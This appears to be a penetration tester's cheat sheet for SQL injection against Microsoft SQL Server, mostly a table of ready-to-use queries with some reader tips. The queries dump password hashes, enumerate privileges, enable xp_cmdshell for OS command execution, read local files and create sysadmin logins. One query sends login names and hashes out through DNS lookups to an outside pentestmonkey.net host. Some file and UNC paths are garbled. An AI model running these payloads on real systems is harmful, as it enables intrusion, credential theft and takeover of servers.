# MSSQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MSSQL databases…

This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

I’m not planning to write one for MS Access, but there’s a great [MS Access Cheat Sheet here](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html).

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

|  |  |
| --- | --- |
| Version | SELECT @@version |
| Comments | SELECT 1 — comment SELECT /\*comment\*/1 |
| Current User | SELECT user\_name(); SELECT system\_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
| List Users | SELECT name FROM master..syslogins |
| List Password Hashes | SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT name, master.dbo.fn\_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password\_hash FROM master.sys.sql\_logins — priv, mssql 2005; SELECT name + ‘-’ + master.sys.fn\_varbintohexstr(password\_hash) from master.sys.sql\_logins — priv, mssql 2005 |
| Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based.  [phrasen|drescher](https://labs.portcullis.co.uk/application/phrasen-drescher/) can crack these. |
| List Privileges | – current privs on a particular object in 2005, 2008 SELECT permission\_name FROM master..fn\_my\_permissions(null, ‘DATABASE’); — current database SELECT permission\_name FROM master..fn\_my\_permissions(null, ‘SERVER’); — current server SELECT permission\_name FROM master..fn\_my\_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table SELECT permission\_name FROM master..fn\_my\_permissions(‘sa’, ‘USER’);  –permissions on a user– current privs in 2005, 2008 SELECT is\_srvrolemember(‘sysadmin’); SELECT is\_srvrolemember(‘dbcreator’); SELECT is\_srvrolemember(‘bulkadmin’); SELECT is\_srvrolemember(‘diskadmin’); SELECT is\_srvrolemember(‘processadmin’); SELECT is\_srvrolemember(‘serveradmin’); SELECT is\_srvrolemember(‘setupadmin’); SELECT is\_srvrolemember(‘securityadmin’);  – who has a particular priv? 2005, 2008 SELECT name FROM master..syslogins WHERE denylogin = 0; SELECT name FROM master..syslogins WHERE hasaccess = 1; SELECT name FROM master..syslogins WHERE isntname = 0; SELECT name FROM master..syslogins WHERE isntgroup = 0; SELECT name FROM master..syslogins WHERE sysadmin = 1; SELECT name FROM master..syslogins WHERE securityadmin = 1; SELECT name FROM master..syslogins WHERE serveradmin = 1; SELECT name FROM master..syslogins WHERE setupadmin = 1; SELECT name FROM master..syslogins WHERE processadmin = 1; SELECT name FROM master..syslogins WHERE diskadmin = 1; SELECT name FROM master..syslogins WHERE dbcreator = 1; SELECT name FROM master..syslogins WHERE bulkadmin = 1; |
| List DBA Accounts | SELECT is\_srvrolemember(‘sysadmin’); — is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’, ‘systemadmin’ and other values from the [documentation](http://msdn.microsoft.com/en-us/library/ms176015.aspx) SELECT is\_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005 |
| Current Database | SELECT DB\_NAME() |
| List Databases | SELECT name FROM master..sysdatabases; SELECT DB\_NAME(N); — for N = 0, 1, 2, … |
| List Columns | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| List Tables | SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| Find Tables From Column Name | – NB: This example works only for the current database.  If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’ |
| Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
| Select Nth Char | SELECT substring(‘abcd’, 3, 1) — returns c |
| Bitwise AND | SELECT 6 & 2 — returns 2 SELECT 6 & 1 — returns 0 |
| ASCII Value -> Char | SELECT char(0×41) — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) – returns 65 |
| Casting | SELECT CAST(’1′ as int); SELECT CAST(1 as char) |
| String Concatenation | SELECT ‘A’ + ‘B’ – returns AB |
| If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
| Avoiding Quotes | SELECT char(65)+char(66) — returns AB |
| Time Delay | WAITFOR DELAY ’0:0:5′ — pause for 5 seconds |
| Make DNS Requests | declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp\_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn\_varbintohexstr(password\_hash) + ‘.2.pentestmonkey.net’ from sys.sql\_logins; exec(‘xp\_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary. – Also check out theDNS tunnel feature of [sqlninja](http://sqlninja.sourceforge.net/sqlninja-howto.html) |
| Command Execution | EXEC xp\_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp\_cmdshell first as it’s disabled by default: EXEC sp\_configure ‘show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp\_configure ‘xp\_cmdshell’, 1; — priv RECONFIGURE; — priv |
| Local File Access | CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:boot.ini’; DROP TABLE mydata; |
| Hostname, IP Address | SELECT HOST\_NAME() |
| Create Users | EXEC [sp\_addlogin](http://msdn2.microsoft.com/en-us/library/ms173768.aspx) ‘user’, ‘pass’; — priv |
| Drop Users | EXEC [sp\_droplogin](http://msdn2.microsoft.com/en-us/library/ms189767.aspx) ‘user’; — priv |
| Make User DBA | EXEC [master.dbo.sp\_addsrvrolemember](http://msdn2.microsoft.com/en-us/library/ms186320.aspx) ‘user’, ‘sysadmin; — priv |
| Location of DB files | EXEC sp\_helpdb master; –location of master.mdf EXEC sp\_helpdb pubs; –location of pubs.mdf |
| Default/System Databases | northwind model msdb pubs — not on sql server 2005 tempdb |

### Misc Tips

In no particular order, here are some suggestions from pentestmonkey readers.

****From Dan Crowley:****  
[A way to extract data via SQLi with a MySQL backend](http://www.notsosecure.com/folder2/2010/06/29/mysql-exploitation-with-error-messages)

****From Jeremy Bae:****  
Tip about sp\_helpdb – included in table above.

****From Trip:****  
List DBAs (included in table above now):

*select name from master..syslogins where sysadmin = ’1′*

****From Daniele Costa:****  
Tips on using fn\_my\_permissions in 2005, 2008 – included in table above.  
Also:  
To check permissions on multiple database you will have to use the following pattern.

*USE [DBNAME]; select permission\_name FROM fn\_my\_permissions (NULL, ‘DATABASE’)*

Note also that in case of using this data with a UNION query a collation error could occur.  
In this case a simple trick is to use the following syntax:

*select permission\_name collate database\_default FROM fn\_my\_permissions (NULL, ‘DATABASE’)*